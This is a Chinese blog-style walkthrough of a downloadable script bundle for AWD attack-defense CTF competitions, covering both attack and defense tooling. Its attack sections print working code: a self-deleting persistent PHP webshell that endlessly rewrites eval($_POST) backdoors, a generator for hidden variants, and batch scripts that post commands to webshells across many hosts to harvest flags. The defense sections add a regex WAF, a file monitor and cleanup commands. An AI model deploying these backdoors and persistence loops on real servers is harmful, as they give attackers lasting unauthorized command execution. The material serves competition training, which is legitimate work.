简介:AWD攻防赛实战脚本集合,面向CTF及网络安全竞赛中参与攻防对抗模式的选手,提供从信息探测、漏洞利用到防御加固的全流程辅助。整个压缩包共33个文件,包含12个Python脚本、6个PHP脚本、6个pyc编译模块以及文本说明、RAR工具包和exe可执行程序,包体仅3.14MB,适合赛前快速部署与临场调用。内容覆盖攻击与防御两大战术方向:攻击侧包含批量上传Shell、生成不死马、获取Flag等自动化脚本;防御侧提供Linux文件监控、WAF防护、日志分析及克制不死马等对策。其中Web日志安全分析工具为独立RAR包,便于深入排查攻击痕迹。目前已有408人学习下载,对于希望提升AWD对抗效率、快速搭建攻防脚本库的参赛者而言,是一份高性价比的实用资源。
1. AWD 攻防赛脚本集合:赛前最该先拆开看的压缩包
第一次打 AWD 的人最容易犯一个错:赛前收集了一堆漏洞利用文档,真坐到靶机前才发现又要传 shell 又要读 flag 又要守自己的站点,根本来不及翻文档。这个 AWD 攻防赛脚本集合把赛场上最常用的三件事打包了:进攻侧用awd_attack.py批量打点、用不死马做权限维持、用GetFlag.py自动收 flag;防御侧用waf.php和linux文件监控脚本.py守住阵地,再用日志分析工具做溯源。它适合刚组队打校内赛的新手,也适合老手拿来补全自己的工具链。下面按拆包顺序,把每个脚本的用法、参数和坑一次说清。
2. 拆包后的双线结构:Attack 与 Defense 目录里的文件怎么分工
2.1 一份文件清单,对应 AWD 的两个阶段
解压后整份资源明显分成两条线:Attack 目录管进攻,Defense 目录管防守。攻击线里有批量打点、单点上传、不死马生成、自动读 flag 的脚本;防御线里有 WAF、文件监控、日志分析、克制不死马的操作笔记。这个结构对应 AWD 的核心节奏:前 30 分钟抢 shell 拿分,中后段重点防反打和清理权限维持。
| 文件或目录 | 在 AWD 赛场里的角色 | 最关键的使用要点 |
|---|---|---|
awd_attack.py | 批量打点主脚本 | 开局阶段对多台靶机自动尝试上传和执行命令 |
upload_shell.py | 单目标上传脚本 | 针对一台靶机精细调参,避免误伤己方 |
不死马.php | 不死马本体 | 上传后用于长时间权限维持 |
隐藏不死马测试版.php | 隐藏型不死马 | 文件名和内容都做了混淆,慎用 |
命令生成不死马_批量版.py | 批量生成器 | 一次性生成多份不死马代码,换参数再换马 |
ListCreate.php | 辅助脚本 | 读取目录列表、判断当前路径是否可写 |
cmd.exe | 伪装型 webshell | 靶机多 Linux,这是把 PHP webshell 伪装成 exe 名绕过过滤的思路 |
webshell.txt/shell.php/shell1.php | 一句话木马样本 | 作为上传使用的 payload 基础 |
Flag.txt/tips.txt | 样例与提示 | 用于本地验证脚本流程是否跑通 |
Defense/waf.php | PHP 流量层过滤 | 部署到 Web 根目录,拦截常见攻击载荷 |
Defense/linux文件监控脚本.py | 文件完整性监控 | 检测 Web 目录新增文件和哈希变化 |
Defense/克制不死马.txt | 应急操作手册 | 被不死马缠上后按步骤清理 |
Defense/Web日志安全分析工具+v2.0.rar | 日志分析工具 | 赛后溯源或赛中快速排查攻击来源 |
实际用的时候不要全堆一起。我一般会把进攻线脚本拆成“开局版”和“持久版”:开局版只跑awd_attack.py加GetFlag.py,目标是短平快拿分;持久版再考虑是否上不死马,因为上了不死马就意味着要和对手在同一个目录里互相删文件,风险不小。
2.2 先过三关环境检查:Python 版本、PHP 短标签、上传目录
这套资源里 Python 脚本的年代感很强,不少代码是按 Python2 写的。比如print当语句用、用xrange()、urllib2.urlopen()这些老语法。本机如果只有 Python3,直接跑大概率第一行就报SyntaxError。
# 先看本机有哪些可用的 Python python2 -V 2>/dev/null python3 -V 2>/dev/null# 常见差异统一替换,注意 sed 只能处理简单情况 sed -i 's/xrange/range/g' awd_attack.py sed -i 's/urllib2/urllib.request/g' awd_attack.py参数说明:第一条命令先确认环境里有没有 python2;第二条把xrange换成 Python3 的range,把urllib2换成urllib.request。实际改完还要把print "xxx"改成print("xxx"),这块用 sed 容易误伤多行字符串,建议直接打开文件全局搜索print手动过一遍。
PHP 脚本要检查两件事:短标签和上传后缀。<?短标签在 PHP7 里默认关闭,如果用<?写的 webshell,直接访问大概率白屏;上传过滤器限死.php时,需要把 payload 改成.php5、.phtml或shell.php.jpg这类组合。还有一点,上传目录是否可写决定 webshell 能不能落盘,ListCreate.php干的就是这个活——先探一下file_put_contents()能不能在当前目录写入测试文件,再决定下一步。
# 检查 PHP 短标签是否开启 php -r 'echo ini_get("short_open_tag");' # 输出 1 表示开启,0 表示关闭;关闭时把 <? 替换成 <?php这套检查流程在赛前做一次就够了,省得现场拍脑袋。
3. 进攻侧落地:批量打点、不死马生成与自动读 flag
3.1 awd_attack.py 批量打点逻辑与参数
拆包后你会看到awd_attack.py并不是敲一条命令就出结果的傻瓜脚本,更像一个需要你维护目标列表的半成品框架。它的核心思路是:批量请求靶机已知路径 → 找到存活 webshell → 通过一句话木马传参执行命令 → 把结果写进队列或文件。我把它重构成下面这个最小可用版,方便你看清参数怎么控制。
# awd_attack.py 核心逻辑(重构后的最小版) import requests import threading import queue # 目标列表,格式为 靶机IP:端口 targets = [ "192.168.1.10:80", "192.168.1.11:80", ] # webshell 路径列表,按命中率排序 shell_paths = ["shell.php", "shell1.php", ".shell.php"] # 一句话木马执行参数,x 对应 PHP 里的 $_POST["x"] data_key = "x" # 要执行的命令,这里以读取 flag 为例 command = "cat /flag" # 是否排除己方靶机,强烈建议置为 True exclude_self = True MY_IP = "192.168.1.12" def attack_one(info): ip, port = info.split(":") if exclude_self and ip == MY_IP: print("[-] skip self:", ip) return base = "http://%s:%s/" % (ip, port) session = requests.Session() for path in shell_paths: url = base + path try: r = session.post(url, data={data_key: command}, timeout=5) if r.status_code == 200 and ("flag{" in r.text or "ctf{" in r.text): print("[+] flag from", ip, ":", r.text.strip()[:200]) return except requests.RequestException as e: print("[-]", ip, path, "error:", e) # 线程池并发,注意控制线程数 threads = [threading.Thread(target=attack_one, args=(t,)) for t in targets] for t in threads: t.start() for t in threads: t.join()参数说明里最值得关心的是三个:shell_paths决定扫描深度,路径越多越慢;data_key必须和 webshell 里的$_POST参数一致,否则命令传不进去;exclude_self是保命项,AWD 打的是同网段批量靶机,不排除己方 IP 等于开局先把自己打穿。timeout=5是请求超时,现场网络差时调到 10,避免大量线程卡在慢连接上。
实战里我一般不在开局就用多线程跑所有靶机,而是先单线程跑两三台确认命令执行路径通,再放开并发。原因是如果靶机的 flag 不在/flag而在/Flag.txt或/tmp/flag,第一条命令直接读/flag会漏,先手动确认一次,后续批量才有意义。
3.2 不死马批量生成:原理与参数
不死马在 AWD 里是一种很恶心的权限维持方式。它的原理很简单:PHP 脚本执行后把自己删除(@unlink(__FILE__)),然后进死循环,每秒多次向当前目录写入一个新的 webshell 文件。因为原文件已经没了,防守方想按文件路径杀找不到源头;新文件文件名不停变化,删除速度赶不上生成速度,只能先杀进程再锁目录。
资源里不死马.php是基础版,隐藏不死马测试版.php在文件名和参数上做了混淆,命令生成不死马_批量版.py则负责自动生成多个变体。一个典型的不死马长这样:
<?php // 不死马.php —— 上传后自删除并持续写入新 shell ignore_user_abort(true); set_time_limit(0); @unlink(__FILE__); // 执行后立刻删掉自己,隐藏源头 while (1) { // 生成随机文件名,避免被一次性清干净 $name = dirname(__FILE__) . '/.' . md5(mt_rand()) . '.php'; // 写入一句话木马,密码是 x file_put_contents($name, '<?php @eval($_POST["x"]);?>'); usleep(5000); // 间隔 5000 微秒,也就是每秒约 200 次 } ?>参数注意usleep(5000),这个值不能太小。改成usleep(1000)会让 CPU 直接飙高,靶机卡死反而暴露隐藏路径;改成usleep(20000)生成速度变慢,防守方有时间追着删。我习惯用 8000 到 10000,既能持续存活,又不容易把靶机打挂。
命令生成不死马_批量版.py的价值在于批量替换这些参数,一次生成十个不同文件名、不同密码的变体:
# 命令生成不死马_批量版.py 的核心生成函数 def make_webshell(filename, password, interval): code = "<?php @eval($_POST['%s']);?>" % password template = ("<?php ignore_user_abort(true);set_time_limit(0);" "@unlink(__FILE__);" "while(1){file_put_contents('./%s', '%s');usleep(%d);}?>") return template % (filename, code, interval) for i in range(10): name = ".cache_%d.php" % i # 生成带缓存前缀的隐藏文件 content = make_webshell(name, "x%d" % i, 8000) with open(name, "w") as f: f.write(content) print("generated:", name)这里密码用的x0到x9,和GetFlag.py的默认参数要能对上。如果你改了密码,必须同步改GetFlag.py里的data_key,否则 shell 活着也连不上。
3.3 GetFlag.py:并发读取 flag
资源里GetFlag.py配合前面生成的不死马使用:把已知的 webshell 地址整理成一个列表,并发向每个地址执行cat /flag,用正则匹配 flag 格式后统一输出。核心逻辑可以简化成下面这样:
# GetFlag.py 批量读取 flag import requests import re import threading import queue shells = [ "http://192.168.1.10/.cache_0.php", "http://192.168.1.11/.cache_0.php", ] key = "x0" # 对应不死马生成器里的密码 result_queue = queue.Queue() pattern = re.compile(r'(?:flag|ctf)\{[^}]+\}', re.I) def fetch(url): try: r = requests.post(url, data={key: "cat /flag /Flag.txt /flag.txt"}, timeout=5) matched = pattern.search(r.text) if matched: result_queue.put((url, matched.group(0))) except requests.RequestException: pass threads = [threading.Thread(target=fetch, args=(u,)) for u in shells] for t in threads: t.start() for t in threads: t.join() while not result_queue.empty(): url, flag = result_queue.get() print("[+]", url, "->", flag)命令里同时cat了三个路径,是因为不同主办方对 flag 文件的命名习惯差别很大。正则(flag|ctf)\{[^}]+\}能兼容两种主流 flag 格式。如果比赛用的不是这种格式,比如hdn{...}或裸的 md5 字符串,把正则改成[A-Za-z0-9_]{8,64}就行。
这个脚本真正要注意的是 shell 列表的来源:手动维护很容易漏。我一般让awd_attack.py跑完后把存活 webshell 地址写到一个alive.txt,GetFlag.py直接读这个文件,保证收 flag 的列表和打点结果一致。
4. 防御侧落地:waf.php、文件监控脚本与克制不死马
4.1 waf.php 的规则与部署方式
Defense/waf.php是一个轻量级 PHP 流量过滤脚本,思路是在请求进入业务代码前检查 URL 和 POST 内容,命中危险函数特征就直接 403。这种方案不能防住所有攻击,但对脚本小子的批量扫描很有效。核心规则如下:
<?php // waf.php —— 放在 Web 根目录,用 auto_prepend_file 方式加载 $input = $_SERVER['REQUEST_URI'] . "\n" . file_get_contents("php://input"); $rules = array( "/eval\s*\(/i", // eval( "/assert\s*\(/i", // assert( "/system\s*\(/i", // system( "/passthru\s*\(/i", // passthru( "/shell_exec\s*\(/i", // shell_exec( "/base64_decode\s*\(/i", "/gzinflate\s*\(/i", ); foreach ($rules as $rule) { if (preg_match($rule, $input)) { http_response_code(403); exit("request blocked by waf.php"); } }部署方式有两条路:一是直接include('waf.php')加在业务入口文件顶部;二是改php.ini加auto_prepend_file让它自动加载:
# 将 waf.php 作为所有 PHP 请求的前置脚本 echo 'auto_prepend_file=/var/www/html/waf.php' >> /etc/php5/apache2/php.ini service apache2 restart参数说明里最容易被忽略的是file_get_contents("php://input")。它读取的是原始 POST 内容,和$_POST的区别在于,php://input能拿到文件上传时的二进制流和原始 JSON,很多绕过$_POST的 payload 会在这里暴露。但代价是每次请求都要多读一次输入流,性能有损耗。单台 AWD 靶机扛几百 QPS 没问题,再高别用。
4.2 linux 文件监控脚本.py:哈希轮询与新增文件检测
linux文件监控脚本.py的作用是盯 Web 目录的文件变化。它默认对/var/www/html下所有 PHP 文件做哈希登记,后续每隔几秒重新扫描,出现新文件或哈希变化就打印告警。逻辑可以浓缩成下面这段:
# linux文件监控脚本.py 核心逻辑 import os import hashlib import time WATCH_DIR = "/var/www/html" EXTENSIONS = (".php", ".jsp", ".asp") INTERVAL = 2 known = {} def hash_file(path): h = hashlib.sha1() with open(path, "rb") as f: h.update(f.read()) return h.hexdigest() def scan(): for root, dirs, files in os.walk(WATCH_DIR): for name in files: if not name.endswith(EXTENSIONS): continue full = os.path.join(root, name) if full in known: if hash_file(full) != known[full]: print("[alert] file changed:", full) else: print("[alert] new file:", full) known[full] = hash_file(full) while True: scan() time.sleep(INTERVAL)INTERVAL这个参数是关键。设 2 秒太频繁,CPU 占用高;设 10 秒省资源,但对手可能 3 秒写完 shell 又删掉。在比赛中我会改成 3 秒,同时把要盯的目录从/var/www/html扩展到/tmp和/dev/shm——后门经常往临时目录落。注意这个脚本只能“发现”,不能“阻止”,发现后立刻人工登录处理。
更专业一点的方案是用inotifywait做实时事件监听,但这套资源里用的是轮询,优点是不依赖额外安装,Python 标准库就能跑,适合比赛环境。
4.3 克制不死马.txt 的操作顺序与日志分析
Defense/克制不死马.txt写的是一套应急操作顺序,按这个顺序做才能把不死马清干净:
# 1. 找不死马进程 ps -ef | grep php | grep -v grep # 2. 杀掉进程,通常会有多个,用管道批量处理 ps -ef | grep php | grep -v grep | awk '{print $2}' | xargs -n1 kill -9 # 3. 给 Web 目录加不可修改属性,切断后续写入 chattr +i /var/www/html # 4. 删除已经生成的随机 shell 文件 find /var/www/html -name ".*.php" -type f -delete # 5. 确认干净后解锁目录 chattr -i /var/www/html这五步里最核心的是第 3 步chattr +i。不加锁只删文件,不死马进程残留着,下一秒又把 shell 写回来了;加了锁才能保证删的速度大于写的速度。等找到源头进程并 kill 掉之后,再chattr -i解锁。
日志分析交给Web日志安全分析工具+v2.0.rar。这是一个 Windows 工具,解压后导入Defense/日志地址.txt里记的日志路径即可。它擅长做的事是把 Apache 和 Nginx 的 access_log 里的攻击 IP、URL、UA 聚合成表,直接看 Top 攻击来源。修改curl.txt这份笔记我理解为对攻击者常用 curl 命令的记录,比如curl -x "POST"加文件上传参数这些,可以作为日志检索关键词。
5. 避坑指南:五个常见翻车点与排查方法
5.1 Python2 脚本在 Python3 环境直接崩
现象:运行awd_attack.py或GetFlag.py,第一行就报NameError: name 'xrange' is not defined,或者SyntaxError: invalid syntax指向print那行。
原因:脚本按 Python2 语法写成,xrange()、print "xxx"、urllib2在 Python3 里不存在或用法已变动。
解决:先用2to3工具转换,再手动处理urllib2和print:
python3 -m lib2to3 -w awd_attack.py GetFlag.py linux文件监控脚本.py转换后大概率还有残留问题。urllib2.urlopen()要改成requests.get()或urllib.request.urlopen(),print语句改成函数调用。比赛现场优先级最高的是一口气把awd_attack.py和GetFlag.py跑通,其他脚本可以后补。
5.2 不死马变成 fork 炸弹,靶机 CPU 飙到 100%
现象:上传不死马后,靶机 CPU 从个位数直接拉满,ps -ef看到几十个 php 进程循环互刷。
原因:不死马死循环里没有“同文件已存在就跳过”的判断,多个变体同时运行后,每个进程都在往目录写文件,文件又触发下一个进程继续写,形成类似 fork 炸弹的效果。
解决:按第 4.3 的步骤先杀进程再锁目录。治本的方法是把死循环改成带退出条件的形式:
<?php // 不死马改造版:限制自身寿命,避免失控 ignore_user_abort(true); set_time_limit(0); $max_loop = 200; $count = 0; while ($count < $max_loop) { file_put_contents(..., '<?php @eval($_POST["x"]);?>'); usleep(10000); $count++; }循环上限 200 次,按每次间隔 10 毫秒算,最多跑 2 秒就自己停下。权限维持的持续性可以靠多放几个不同路径的副本来保证,而不是靠一个无限循环堆死靶机。
5.3 批量脚本把自己队伍的靶机覆盖
现象:开局跑awd_attack.py,十分钟后发现自己队伍靶机上的 shell 也被人传进去、flag 拿不到,页面状态异常。
原因:AWD 多支队伍共用一个 IP 段或同一套 Web 模板,批量上传脚本没有排除己方靶机,把己方当对手打,还会覆盖队友刚留下的权限维持文件。
解决:用awd_attack.py前必须维护一个排除列表:
exclude_self = True MY_IP = "192.168.1.12" def target_excluded(ip): return exclude_self and ip == MY_IP更进一步,批量上传的 payload 文件名要带队伍编号,比如shell_team12.php。这样上传到其他队伍靶机时方便区分归属,打到最后收 flag 也不会混淆哪个是自己队伍的。
5.4 PHP 短标签在 PHP7 下失效
现象:上传shell.php后访问返回 200,页面一片空白,POST 传参没任何反应。
原因:webshell 用了<?短标签,PHP7 默认关闭short_open_tag,整个 PHP 块被当成普通文本输出,命令永远不会执行。
解决:上传前先检查再替换:
# 把短标签替换为标准写法 sed -i 's/<?/<?php/g' shell.php注意直接对<?php执行这条命令会变成<?phpphp,所以先确认文件里没有标准标签再替换。比赛用的一句话木马,我习惯直接在本地写标准<?php版本,省得现场踩这个坑。
5.5 WAF 规则过宽,把正常业务和队友全拦截
现象:部署 waf.php 后,自己平台的投票、登录、文件预览全部 403,队友提交 flag 也提交不进去。
原因:waf.php 把REQUEST_URI和php://input拼在一起后,统一匹配eval、system等关键字。正常业务表单里只要出现system这个单词,比如邮箱域名拼写,就会被误杀。
解决:改成只过滤命令执行参数,而不是全量请求体:
if (isset($_REQUEST['cmd'])) { if (preg_match('/system|exec|passthru|shell_exec/i', $_REQUEST['cmd'])) { exit("blocked"); } }waf.php里的宽泛正则适合在态势紧张时临时挡住扫描器,但读 payload 这件事更适合放在Nginx层做精确的location匹配。如果比赛环境允许改配置,优先在nginx.conf里对上传目录单独禁用 PHP 解析,比 PHP 层 WAF 稳得多。
6. 进阶:把脚本集合改造成自己的 AWD 工具箱
6.1 给不死马加“版本号”和随机文件名,避免多队互相覆盖
直接用资源里的生成器,同一场比赛所有拿到资源的人的 shell 名字都一样。更好的做法是生成时把队伍标识和随机串打进去,让 shell 文件的命名不可预测。
import time, random, hashlib def gen_shell_name(team_tag="t12"): raw = "%s_%s_%s" % (team_tag, time.time(), random.random()) return ".%s_%s.php" % (team_tag, hashlib.md5(raw.encode()).hexdigest()[:8]) for i in range(6): print(gen_shell_name())文件名里带队伍标识,好处有两个:一是收 flag 时知道哪个 shell 是自己放的;二是不同队伍用同一套脚本时,文件名不会互相碰撞,打平了还能避免误删自己后门。
6.2 把文件监控脚本从打印改成告警推送
比赛时你不可能一直盯着靶机终端,更现实的做法是让监控脚本把告警推到你自己的消息接口。在linux文件监控脚本.py里加一个通知函数:
def notify(message): import urllib2 webhook = "http://your-alert-server.local/push" data = "msg=" + message + "&type=filemonitor" try: req = urllib2.Request(webhook, data=data) urllib2.urlopen(req, timeout=3) except Exception: pass参数说明:webhook换成自己的 HTTP 接口,收到告警后带上msg和type两个字段;没网或接口不可用时抛异常,但不能让监控主流程中断。这样文件一旦被改动,直接在手机上看到告警,不用守在远程终端前面刷屏。
6.3 把整套防守流程打包成开局初始化脚本
前面所有配置,我最终会合成一个init_defense.sh,上靶机第一条命令就跑它:
#!/bin/bash # init_defense.sh —— 开局防御一键部署 WEBROOT=/var/www/html # 1. 部署 waf cp waf.php $WEBROOT/waf.php # 2. 启动文件监控,日志写本地 cp linux文件监控脚本.py /tmp/fsmonitor.py nohup python2 /tmp/fsmonitor.py > /tmp/fswatch.log 2>&1 & # 3. 用 php-fpm 配置注入 auto_prepend_file PHP_INI=$(php -i | grep "Loaded Configuration File" | awk -F" => " '{print $2}') echo "auto_prepend_file=$WEBROOT/waf.php" >> $PHP_INI # 4. 锁目录权限,防未授权写入 chmod -R 644 $WEBROOT/*.php这个脚本有个隐含的次序:先上 WAF 再起监控,最后才锁权限。如果反过来,先锁了权限,后面程序想写入也写不进去,waf.php 就部署失败了。PHP_INI那行会从php -i输出里解析出配置文件路径,不同靶机版本有差异,最好先手工执行一次确认。
从那以后,我每次打 AWD 之前都强制走一遍这套流程:先跑环境检查,再改awd_attack.py的排除列表,等GetFlag.py从存活 shell 里把 flag 全收一遍,才开始考虑上不死马。自残和翻车少了,心态也就稳了。希望帮到你。
本文还有配套的精品资源,点击获取